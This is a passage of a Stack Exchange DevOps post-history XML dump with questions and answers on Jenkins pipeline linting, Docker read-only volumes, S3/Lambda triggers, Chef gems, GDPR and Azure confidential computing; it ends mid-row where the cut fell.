  <row Id="7043" PostHistoryTypeId="5" PostId="2148" RevisionGUID="285892ca-d751-4b44-85ce-e49f1c9e0eae" CreationDate="2017-10-05T21:04:44.417" UserId="47" Comment="replaced image quote with corresponding text" Text="Here is some documentation on the Jenkins pipeline linter and its commands. Do you need to validate **before** a commit? If not, it would be really trivial to run the linting command prior to your pipeline running, and simply fail if it does not pass. &#xD;&#xA;&#xD;&#xA;From [Command-line Pipeline Linter][1]:&#xD;&#xA;&#xD;&#xA;&gt; Jenkins can validate, or &quot;[lint][2]&quot;, a Declarative Pipeline from the&#xD;&#xA;&gt; command line before actually running it. This can be done using a&#xD;&#xA;&gt; Jenkins CLI command or by making an HTTP POST request with appropriate&#xD;&#xA;&gt; parameters. We recommended using the [SSH interface][3] to run the&#xD;&#xA;&gt; linter. See the [Jenkins CLI documentation][4] for details on how to&#xD;&#xA;&gt; properly configure Jenkins for secure command-line access.&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; *Linting via the CLI with SSH*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # ssh (Jenkins CLI)&#xD;&#xA;&gt;     # JENKINS_SSHD_PORT=[sshd port on master]&#xD;&#xA;&gt;     # JENKINS_HOSTNAME=[Jenkins master hostname]&#xD;&#xA;&gt;     ssh -p $JENKINS_SSHD_PORT $JENKINS_HOSTNAME declarative-linter &lt; Jenkinsfile&#xD;&#xA;&gt; &#xD;&#xA;&gt; *Linting via HTTP POST using `curl`*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # curl (REST API)&#xD;&#xA;&gt;     # Assuming &quot;anonymous read access&quot; has been enabled on your Jenkins instance.&#xD;&#xA;&gt;     # JENKINS_URL=[root URL of Jenkins master]&#xD;&#xA;&gt;     # JENKINS_CRUMB is needed if your Jenkins master has CRSF protection enabled as it should&#xD;&#xA;&gt;     JENKINS_CRUMB=`curl &quot;$JENKINS_URL/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\&quot;:\&quot;,//crumb)&quot;`&#xD;&#xA;&gt;     curl -X POST -H $JENKINS_CRUMB -F &quot;jenkinsfile=&lt;Jenkinsfile&quot; $JENKINS_URL/pipeline-model-converter/validate&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Examples**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Below are two examples of the Pipeline Linter in action. This first&#xD;&#xA;&gt; example shows the output of the linter when it is passed an invalid&#xD;&#xA;&gt; `Jenkinsfile`, one that is missing part of the `agent` declaration.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *Jenkinsfile*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage ('Initialize') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo 'Placeholder.'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&gt; &#xD;&#xA;&gt; *Linter output for invalid Jenkinsfile*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pass a Jenkinsfile that does not contain an &quot;agent&quot; section&#xD;&#xA;&gt;     ssh -p 8675 localhost declarative-linter &lt; ./Jenkinsfile&#xD;&#xA;&gt;     Errors encountered validating Jenkinsfile:&#xD;&#xA;&gt;     WorkflowScript: 2: Not a valid section definition: &quot;agent&quot;. Some extra configuration is required. @ line 2, column 3.&#xD;&#xA;&gt;          agent&#xD;&#xA;&gt;          ^&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     WorkflowScript: 1: Missing required section &quot;agent&quot; @ line 1, column 1.&#xD;&#xA;&gt;        pipeline &amp;#125;&#xD;&#xA;&gt;        ^&#xD;&#xA;&gt; &#xD;&#xA;&gt; In this second example, the `Jenkinsfile` has been updated to include&#xD;&#xA;&gt; the missing `any` on `agent`. The linter now reports that the Pipeline&#xD;&#xA;&gt; is valid.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *Jenkinsfile*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent any&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage ('Initialize') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo 'Placeholder.'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&gt; &#xD;&#xA;&gt; *Linter output for valid Jenkinsfile*&#xD;&#xA;&gt; &#xD;&#xA;&gt;     ssh -p 8675 localhost declarative-linter &lt; ./Jenkinsfile&#xD;&#xA;&gt;     Jenkinsfile successfully validated.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/development/#linter&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Lint_(software)&#xD;&#xA;  [3]: https://jenkins.io/doc/book/managing/cli/#ssh&#xD;&#xA;  [4]: https://jenkins.io/doc/book/managing/cli/&#xD;&#xA;  [5]: https://i.stack.imgur.com/NT1tS.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7049" PostHistoryTypeId="2" PostId="2253" RevisionGUID="f99cff64-59db-4594-ab37-52faabf0eb63" CreationDate="2017-10-06T09:37:29.337" UserId="4626" Text="In case you're not using the Declarative Pipeline, you can avoid checking out from SCM by:&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;	        skipDefaultCheckout()&#xD;&#xA;            //...&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7050" PostHistoryTypeId="6" PostId="2250" RevisionGUID="3f3645c9-42b6-448a-99e6-e2149f5be75c" CreationDate="2017-10-06T09:48:20.203" UserId="210" Comment="edited tags" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7051" PostHistoryTypeId="2" PostId="2254" RevisionGUID="50d1d45b-25e0-4ee3-8442-cbe2f397f808" CreationDate="2017-10-06T10:26:04.907" UserId="210" Text="One could use [read-only volumes][1]. &#xD;&#xA;&#xD;&#xA;&gt;     docker run -d \&#xD;&#xA;&gt;       -it \&#xD;&#xA;&gt;       --name=nginxtest \&#xD;&#xA;&gt;       -v nginx-vol:/usr/share/nginx/html:ro \&#xD;&#xA;&gt;       nginx:latest&#xD;&#xA;&#xD;&#xA;If one would like to use the same volume in multiple containers then one could specify the following when running each container:&#xD;&#xA;&#xD;&#xA;    -v vol:/usr/share/nginx/html:ro&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/volumes/#use-a-read-only-volume" ContentLicense="CC BY-SA 3.0" />
  <row Id="7052" PostHistoryTypeId="5" PostId="2254" RevisionGUID="471d641e-5f0c-45de-8bc1-91be0050e4eb" CreationDate="2017-10-06T10:28:27.333" UserId="210" Comment="added 166 characters in body" Text="One could use [read-only volumes][1]. &#xD;&#xA;&#xD;&#xA;&gt;     docker run -d \&#xD;&#xA;&gt;       -it \&#xD;&#xA;&gt;       --name=nginxtest \&#xD;&#xA;&gt;       -v nginx-vol:/usr/share/nginx/html:ro \&#xD;&#xA;&gt;       nginx:latest&#xD;&#xA;&#xD;&#xA;If one would like to use the same volume in multiple containers then one could specify the following when running each container:&#xD;&#xA;&#xD;&#xA;    -v vol:/usr/share/nginx/html:ro&#xD;&#xA;&#xD;&#xA;Note: one could use `ro` to ensure that the volume is read-only to prevent that multiple containers will write at the same time to the same volume and prevent issues.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/volumes/#use-a-read-only-volume" ContentLicense="CC BY-SA 3.0" />
  <row Id="7053" PostHistoryTypeId="5" PostId="2250" RevisionGUID="8af5acef-bff3-45af-bef0-c79648784f03" CreationDate="2017-10-06T11:37:30.890" UserId="3899" Comment="added 226 characters in body" Text="I have Docker image which contains config files of VirtualBox and I want to use this image for running multiple containers in parallel.&#xD;&#xA;&#xD;&#xA;Config files of VM are being stored on host OS, however, I am afraid of issues with config data of VMs which may occur because of parallel accessing by multiple containers. &#xD;&#xA;All containers will be started by Jenkins automatically.&#xD;&#xA;&#xD;&#xA;Therefore, could you please tell what is the best way to share data between containers to avoid data corruption because of parallel usage?&#xD;&#xA;&#xD;&#xA;Please note: I can not run FreeBSD container under Linux and I can not setup FreeBSD as host OS to use FreeBSD containers as long as Docker is an experimental thing in FreeBSD and Kubernetes is not supported under FreeBSD." ContentLicense="CC BY-SA 3.0" />
  <row Id="7054" PostHistoryTypeId="12" PostId="2254" RevisionGUID="5fe9d5e5-f7a6-459e-9481-e44fb8afde56" CreationDate="2017-10-06T12:30:04.523" UserId="210" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="7055" PostHistoryTypeId="2" PostId="2255" RevisionGUID="4d7c7534-a8ec-408c-8a6e-862dc4e4ab55" CreationDate="2017-10-06T12:42:24.560" UserId="4628" Text="I am trying to use Redshift to UNLOAD data to S3 and then pick that data up with a Lambda function and process it. All of the constituent parts (the UNLOAD, the Lambda function) now work, however the Lambda event trigger (`S3:ObjectPUT`) is never firing. If I upload manually via the console, it all works. If I run the UNLOAD the data appears in the bucket, but the trigger event doesn't run.&#xD;&#xA;&#xD;&#xA;I have tried creating / recreating the function (as per this forum thread - https://forums.aws.amazon.com/thread.jspa?messageID=768407&amp;tstart=0), but to no avail.&#xD;&#xA;&#xD;&#xA;Has anyone else had this - is there something I'm missing?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7056" PostHistoryTypeId="1" PostId="2255" RevisionGUID="4d7c7534-a8ec-408c-8a6e-862dc4e4ab55" CreationDate="2017-10-06T12:42:24.560" UserId="4628" Text="AWS Redshift UNLOAD not firing S3 PUT event" ContentLicense="CC BY-SA 3.0" />
  <row Id="7057" PostHistoryTypeId="3" PostId="2255" RevisionGUID="4d7c7534-a8ec-408c-8a6e-862dc4e4ab55" CreationDate="2017-10-06T12:42:24.560" UserId="4628" Text="&lt;amazon-s3&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7060" PostHistoryTypeId="34" PostId="2027" RevisionGUID="2e946cfd-3c2c-41dd-ac4a-db110e251344" CreationDate="2017-10-06T16:18:08.200" UserId="4343" Comment="9" />
  <row Id="7061" PostHistoryTypeId="36" PostId="2256" RevisionGUID="28a0446c-1b00-45d2-a01c-3b29477cfa02" CreationDate="2017-10-06T17:49:49.497" UserId="-1" Comment="from https://sqa.stackexchange.com/questions/29968/how-to-configure-jenkins-email-notification-for-some-commercial-email-services" />
  <row Id="7062" PostHistoryTypeId="2" PostId="2256" RevisionGUID="80b49371-509b-4d12-8ea7-60eb402917ba" CreationDate="2017-10-06T11:37:28.927" UserDisplayName="Rani" Text="For configuring jenkins email notification with some corporate email server or commercial email services.&#xD;&#xA;&#xD;&#xA;How we can get mail server setting details like mail server name,port number,using SSL,etc?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7063" PostHistoryTypeId="1" PostId="2256" RevisionGUID="80b49371-509b-4d12-8ea7-60eb402917ba" CreationDate="2017-10-06T11:37:28.927" UserDisplayName="Rani" Text="How to Configure jenkins email notification for some commercial email services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7064" PostHistoryTypeId="3" PostId="2256" RevisionGUID="80b49371-509b-4d12-8ea7-60eb402917ba" CreationDate="2017-10-06T11:37:28.927" UserDisplayName="Rani" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7065" PostHistoryTypeId="2" PostId="2257" RevisionGUID="b4853b00-eb24-4aba-a1f4-70af17b738e7" CreationDate="2017-10-06T18:35:46.247" UserId="4634" Text="I've got a jenkinsfile which is breaking on a *second* call to a custom library step. These calls are made inside another custom library step. I'm not sure if this is something not supported or what.&#xD;&#xA;Here's the step publishInstaller.groovy file&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    package com.seven10;&#xD;&#xA;    &#xD;&#xA;    import com.seven10.Builder&#xD;&#xA;    &#xD;&#xA;    def call(hashmap) &#xD;&#xA;    {&#xD;&#xA;    	def role_name = hashmap['role_name']&#xD;&#xA;    	def target_path = hashmap['target_path']&#xD;&#xA;    	def builder = hashmap['builder']&#xD;&#xA;    	def src_path = hashmap.get('src_path', 'installer')&#xD;&#xA;    	def src_file = hashmap.get('src_file', &quot;${src_path}\\${role_name}.exe&quot;)&#xD;&#xA;    	def file_name = builder.getFriendlyName(role_name)&#xD;&#xA;    	&#xD;&#xA;    	echo 'Uploading installer: ' + src_file + ' as ' + file_name&#xD;&#xA;    	publishToS3 src_file: src_file, target_path: &quot;${target_path}/${BRANCH_NAME}/${file_name}.exe&quot;&#xD;&#xA;    	publishToS3 src_file: src_file, target_path: &quot;${target_path}/${BRANCH_NAME}/latest.exe&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here's the publishToS3.groovy file&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    package com.seven10;&#xD;&#xA;    &#xD;&#xA;    import com.seven10.Builder;&#xD;&#xA;    &#xD;&#xA;    def call(hashmap){&#xD;&#xA;    	def src_file = hashmap['src_file']&#xD;&#xA;    	def target_path = hashmap['target_path']&#xD;&#xA;    	def bucket_name = hashmap.get('bucket_name', Builder.TARGET_BUCKET)&#xD;&#xA;    	def region = hashmap.get('region', '....')&#xD;&#xA;    	def credentials = hashmap.get('credentials', '....')&#xD;&#xA;    	&#xD;&#xA;    	withAWS(credentials: credentials, region: region) {&#xD;&#xA;    		s3Upload bucket: bucket_name, file: src_file, path: target_path&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;what is happening is that the first call to publishToS3 is successful, but when it calls the function the second time I get&#xD;&#xA;&#xD;&#xA;    loader (instance of  org/jenkinsci/plugins/workflow/cps/CpsGroovyShell$CleanGroovyClassLoader): attempted  duplicate class definition for name: &quot;com/seven10/publishToS3&quot;&#xD;&#xA;&#xD;&#xA;The documentation for [s3Upload][1] since 1.1 long-running steps are asynchronous. I am wondering if this is causing the publishToS3 method to not truly exit and that is why the error is occurring.&#xD;&#xA;&#xD;&#xA;At any rate, I could really use some help on this, so my question is: How do I fix that thing I just said?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/pipeline-aws-plugin#s3upload" ContentLicense="CC BY-SA 3.0" />
  <row Id="7066" PostHistoryTypeId="1" PostId="2257" RevisionGUID="b4853b00-eb24-4aba-a1f4-70af17b738e7" CreationDate="2017-10-06T18:35:46.247" UserId="4634" Text="Duplicate Class Definition when calling library code" ContentLicense="CC BY-SA 3.0" />
  <row Id="7067" PostHistoryTypeId="3" PostId="2257" RevisionGUID="b4853b00-eb24-4aba-a1f4-70af17b738e7" CreationDate="2017-10-06T18:35:46.247" UserId="4634" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7076" PostHistoryTypeId="5" PostId="2256" RevisionGUID="60cfb404-2bc4-44de-abcf-fca55ae55cdc" CreationDate="2017-10-07T07:29:45.190" UserId="-1" Comment="formatted question more properly" Text="For configuring jenkins email notification with some corporate email server or commercial email services.&#xD;&#xA;&#xD;&#xA;How we can get mail server setting details like mail server name,port number,using SSL,etc for such email services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7077" PostHistoryTypeId="6" PostId="2256" RevisionGUID="60cfb404-2bc4-44de-abcf-fca55ae55cdc" CreationDate="2017-10-07T07:29:45.190" UserId="-1" Comment="formatted question more properly" Text="&lt;jenkins&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7078" PostHistoryTypeId="24" PostId="2256" RevisionGUID="60cfb404-2bc4-44de-abcf-fca55ae55cdc" CreationDate="2017-10-07T07:29:45.190" Comment="Proposed by 183.82.108.124|b4dbbae9-9444-45dd-a950-6653a1a377cd approved by -1 edit id of 474" ContentLicense="CC BY-SA 3.0" />
  <row Id="7079" PostHistoryTypeId="5" PostId="2256" RevisionGUID="587c1ca5-026e-4ce8-b9f5-488726d79f35" CreationDate="2017-10-07T07:29:45.190" UserId="40" Comment="added 4 characters in body" Text="For configuring jenkins email notification with some corporate email server or commercial email services.&#xD;&#xA;&#xD;&#xA;How we can get mail server setting details like mail server name, port number, using SSL, etc. for such email services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7081" PostHistoryTypeId="4" PostId="28" RevisionGUID="ecc8ee4c-888f-4705-a120-508eaf3bbb46" CreationDate="2017-10-07T09:07:21.623" UserId="40" Comment="improve title" Text="How do you test changes to Jenkins plugins before deploying them?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7082" PostHistoryTypeId="2" PostId="2259" RevisionGUID="2e991f82-b443-45fc-8c86-21682c95abea" CreationDate="2017-10-07T10:45:52.550" UserId="40" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** (repeat: ***enforced***) as of 25 May 2018 (which is in about 229 days from today).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**My question(s)**: What's the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the typical DevOps [tag:toolchain] to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7083" PostHistoryTypeId="1" PostId="2259" RevisionGUID="2e991f82-b443-45fc-8c86-21682c95abea" CreationDate="2017-10-07T10:45:52.550" UserId="40" Text="What's the impact of the General Data Protection Regulation (GDPR) on DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7084" PostHistoryTypeId="3" PostId="2259" RevisionGUID="2e991f82-b443-45fc-8c86-21682c95abea" CreationDate="2017-10-07T10:45:52.550" UserId="40" Text="&lt;toolchain&gt;&lt;data-protection&gt;&lt;gdpr&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7085" PostHistoryTypeId="2" PostId="2260" RevisionGUID="fc67718e-5756-4174-ab99-0f35edca7a8d" CreationDate="2017-10-07T10:55:23.533" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7086" PostHistoryTypeId="1" PostId="2260" RevisionGUID="fc67718e-5756-4174-ab99-0f35edca7a8d" CreationDate="2017-10-07T10:55:23.533" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7087" PostHistoryTypeId="2" PostId="2261" RevisionGUID="810b0f92-5656-4eab-b524-043ff029fc8e" CreationDate="2017-10-07T10:55:23.533" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7088" PostHistoryTypeId="1" PostId="2261" RevisionGUID="810b0f92-5656-4eab-b524-043ff029fc8e" CreationDate="2017-10-07T10:55:23.533" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7090" PostHistoryTypeId="2" PostId="2262" RevisionGUID="cf9e32e5-8ea4-4549-96d1-60d7f11ca902" CreationDate="2017-10-07T15:53:44.780" UserId="786" Text="I know about the `chef_gem` resource obv, but in the interests of good system hygiene I would like to avoid as much as possible duplication, so I would like to share Gems between the embedded Ruby within Chef, and the system-wide one. Additionally I have become aware of a troubling situation: the Gems I have in the system Ruby come from the known-good local Yum repo and are installed via RPM over the LAN whereas `chef_gem` goes off to the public Internet, and [recent events in the Python community][1] have made me very concerned about this. I have tried setting `ENV['GEM_PATH']` in my recipe both before and inside a `ruby_block` but this appears to have no effect, I get a failure on `require`. What am I missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7091" PostHistoryTypeId="1" PostId="2262" RevisionGUID="cf9e32e5-8ea4-4549-96d1-60d7f11ca902" CreationDate="2017-10-07T15:53:44.780" UserId="786" Text="Sharing Gems between Chef and System Ruby" ContentLicense="CC BY-SA 3.0" />
  <row Id="7092" PostHistoryTypeId="3" PostId="2262" RevisionGUID="cf9e32e5-8ea4-4549-96d1-60d7f11ca902" CreationDate="2017-10-07T15:53:44.780" UserId="786" Text="&lt;chef&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7093" PostHistoryTypeId="2" PostId="2263" RevisionGUID="e41d06bd-83ef-4d5d-814f-5a40478d1a88" CreationDate="2017-10-07T16:26:05.927" UserId="786" Text="The author of that article has misappropriated the term &quot;systems thinking&quot; which has its origins in biology and sociology with Ludwig von Bertalanffy and his General Systems Theory (1968), and was later applied to cybernetics (in its original meaning of feedback loops in living and nonliving contexts - cells, machines, organisations, before &quot;cybersecurity&quot; and similar buzzwords hijacked it). In short you cannot learn about it because it is not a thing that exists in the way he uses it - but if you are interested in *real* systems thinking, I'd say start from GST and work your way forwards.&#xD;&#xA;&#xD;&#xA;(Source: I have a Master's in Systems Analysis, before that term too was purloined to mean &quot;IT support&quot;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7094" PostHistoryTypeId="5" PostId="2263" RevisionGUID="b994bb54-7e25-42b5-bfc9-405d50408381" CreationDate="2017-10-07T16:33:38.760" UserId="786" Comment="added 43 characters in body" Text="The author of that article has misappropriated the term &quot;systems thinking&quot; which has its origins in biology and sociology with Ludwig von Bertalanffy and his General Systems Theory (1968), and was later applied to cybernetics (in its original meaning of feedback loops in living and nonliving contexts - cells, machines, organisations, before &quot;cybersecurity&quot; and similar buzzwords hijacked it). In short you cannot learn about it because it is not a thing that exists in the way he uses it, just something he made up to sound clever - but if you are interested in *real* systems thinking, I'd say start from GST and work your way forwards.&#xD;&#xA;&#xD;&#xA;(Source: I have a Master's in Systems Analysis, before that term too was purloined to mean &quot;IT support&quot;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7096" PostHistoryTypeId="2" PostId="2264" RevisionGUID="9b5484de-f955-4ef0-85a5-45b71c88d444" CreationDate="2017-10-07T17:27:12.020" UserId="2805" Text="You did not tell how big data amounts you tested with, but if you test ok with little data block successfully and larger real situation fails, there may occur same as occurred [here](https://stackoverflow.com/questions/40387051/lambda-s3-put-function-not-triggering-for-larger-files):&#xD;&#xA;&#xD;&#xA;&gt;The larger files are almost certainly being uploaded via S3 Multipart Upload instead of a regular Put operation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;..&#xD;&#xA;&#xD;&#xA;&gt;It sounds like the function is only subscribed to s3:ObjectCreated:Put events currently, and you need to add s3:ObjectCreated:CompleteMultipartUpload to the configuration." ContentLicense="CC BY-SA 3.0" />
  <row Id="7097" PostHistoryTypeId="2" PostId="2265" RevisionGUID="b756d860-426d-49a6-b79f-a732b1ac9803" CreationDate="2017-10-07T18:34:20.417" UserId="4175" Text="&quot;Enforcing&quot; means lawyers going after possible culprits. Frankly, in my opinion (and those of some folks around me which are more a mix between IT-guy and lawyer), nobody knows how that will work out exactly.&#xD;&#xA;&#xD;&#xA;Those iLawyers expect a lot of very interesting court cases in the first months to tests out the water, and see what precedence cases are going to come up. There will probably be plenty of law firms fishing for nice fat fish to fry.&#xD;&#xA;&#xD;&#xA;For me personally, I don't really see that much impact specifically regarding DevOps. The applications themselves need to be adapted as necessary, obviously. Also, the actual data storage, be it RDBMS, elastic search indexes or whatever, will have to be looked at.&#xD;&#xA;&#xD;&#xA;Aside from that, one benefit of DevOps, specifically if you work with some kind of container system and infrastructure-as-code is that you should generally know *exactly* where your data, log files etc. is stored, and what kind of them you have; much more so than in classical servers, where your data and especially logs might be strewn all over the place. It should also be very easy to regularly roll your data as applicable, i.e., get lost of old stuff.&#xD;&#xA;&#xD;&#xA;So it can help to, for example, take your catalogue of i-a-c files and walk through them diligently - you can then be pretty sure to have found everything you need to be aware of." ContentLicense="CC BY-SA 3.0" />
  <row Id="7099" PostHistoryTypeId="2" PostId="2267" RevisionGUID="8d75ca90-4764-4784-8691-c68862ba01ce" CreationDate="2017-10-08T03:47:52.527" UserId="465" Text="I'm trying to wrap my head around the Azure [confidential computing][1] [offering][2]. &#xD;&#xA;&#xD;&#xA;It appears that that AWS does not offer encryption at the application level (see diagram for what I mean by this:)&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is: **Is Azure's confidential computing essentially encrypted RAM?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-au/blog/introducing-azure-confidential-computing/&#xD;&#xA;  [2]: https://arstechnica.com/gadgets/2017/09/azure-confidential-computing-will-keep-data-secret-even-from-microsoft/&#xD;&#xA;  [3]: https://i.stack.imgur.com/pMynl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7100" PostHistoryTypeId="1" PostId="2267" RevisionGUID="8d75ca90-4764-4784-8691-c68862ba01ce" CreationDate="2017-10-08T03:47:52.527" UserId="465" Text="Is Azure's confidential computing essentially encrypted RAM?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7101" PostHistoryTypeId="3" PostId="2267" RevisionGUID="8d75ca90-4764-4784-8691-c68862ba01ce" CreationDate="2017-10-08T03:47:52.527" UserId="465" Text="&lt;amazon-ec2&gt;&lt;azure&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7102" PostHistoryTypeId="5" PostId="2261" RevisionGUID="303f41dd-7ed9-4985-8cb1-112eda92cb17" CreationDate="2017-10-08T11:08:36.930" UserId="40" Comment="added 130 characters in body" Text="For questions about the General Data Protection Regulation (GDPR), which is about the protection of  data about European citizens." ContentLicense="CC BY-SA 3.0" />
  <row Id="7103" PostHistoryTypeId="24" PostId="2261" RevisionGUID="303f41dd-7ed9-4985-8cb1-112eda92cb17" CreationDate="2017-10-08T11:08:36.930" Comment="Proposed by 40 approved by 47, 210 edit id of 476" ContentLicense="CC BY-SA 3.0" />
  <row Id="7104" PostHistoryTypeId="5" PostId="2260" RevisionGUID="f331055f-f732-4f85-8096-ddf130d061d0" CreationDate="2017-10-08T11:08:46.487" UserId="40" Comment="added 629 characters in body" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens and which will be enforced as of 25 May 2018.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;**More info**: [General Data Protection Regulation][2] (Wikipedia).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation" ContentLicense="CC BY-SA 3.0" />
  <row Id="7105" PostHistoryTypeId="24" PostId="2260" RevisionGUID="f331055f-f732-4f85-8096-ddf130d061d0" CreationDate="2017-10-08T11:08:46.487" Comment="Proposed by 40 approved by 47, 210 edit id of 475" ContentLicense="CC BY-SA 3.0" />
  <row Id="7106" PostHistoryTypeId="2" PostId="2268" RevisionGUID="8231eed6-e50c-4982-8c10-4d1b3b27c9a5" CreationDate="2017-10-08T11:46:38.160" UserId="2805" Text="The article you are referencing mentions encrypted RAM but that was only a reference to possibilities of enhancing the technology more in the future, not about the current state of confidential computing.&#xD;&#xA;&#xD;&#xA;Confidential computing means, that when data is in use these things are prevented:&#xD;&#xA;&#xD;&#xA;&gt;  - Malicious insiders with administrative privilege or direct access to hardware on which it is being processed&#xD;&#xA;&#xD;&#xA;&gt;  - Hackers and malware that exploit bugs in the operating system, application, or hypervisor&#xD;&#xA;&#xD;&#xA;&gt;  - Third parties accessing it without their consent&#xD;&#xA;&#xD;&#xA;[according to Microsoft own announcement](https://azure.microsoft.com/en-us/blog/introducing-azure-confidential-computing/) &#xD;&#xA;&#xD;&#xA;So in other words, it is kind of equivalent to encryption and firewall that are seen in communication but this time applied to running programs in a container. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC 